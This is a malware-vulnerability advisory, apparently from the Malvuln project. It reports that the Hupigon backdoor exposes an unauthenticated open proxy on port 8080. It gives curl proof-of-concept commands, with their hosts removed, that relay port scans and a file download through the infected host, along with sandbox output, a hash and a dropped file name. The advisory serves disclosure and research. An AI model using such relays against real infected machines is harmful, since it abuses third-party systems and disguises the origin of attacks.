Backdoor.Win32.Hupigon.aaur / Unauthenticated Open Proxy

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Backdoor.Win32.Hupigon.aaur / Unauthenticated Open Proxy

From: malvuln <malvuln13 () gmail com>
Date: Mon, 26 Jul 2021 08:25:01 -0400

Discovery / credits: Malvuln - (c) 2021
Original source:
Contact: malvuln13 () gmail com

Threat: Backdoor.Win32.Hupigon.aaur
Vulnerability: Unauthenticated Open Proxy
Description: The malware listens on TCP port 8080. Third-party attackers
who can connect to the infected system can relay requests from the original
connection to the destination and then back to the origination system.
Attackers may then be able to launch attacks, download files or port scan
third party systems and it will appear as the attacks originated from that
infected host.
Type: PE32
MD5: 16d598c01f7b391986c8c19eded005b1
Vuln ID: MVID-2021-0301
Dropped files: 360bak.exe
Disclosure: 07/26/2021

Scan port 21)

curl -H "Host:"
220 INetSim FTP Service ready.
500 Unknown command.
500 Unknown command.

Scan port 110)

curl -H "Host:"
+OK INetSim POP3 Server ready <16964.1627101707@pop3host>
-ERR Unknown command.
-ERR Unknown command.

Download filez)

curl -H "Host:"  --out
  % Total    % Received % Xferd  Average Speed   Time    Time     Time
                                 Dload  Upload   Total   Spent    Left
100  101k  100  101k    0     0   101k      0  0:00:01 --:--:--  0:00:01

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not attempt to download Malware samples. The author of this website takes
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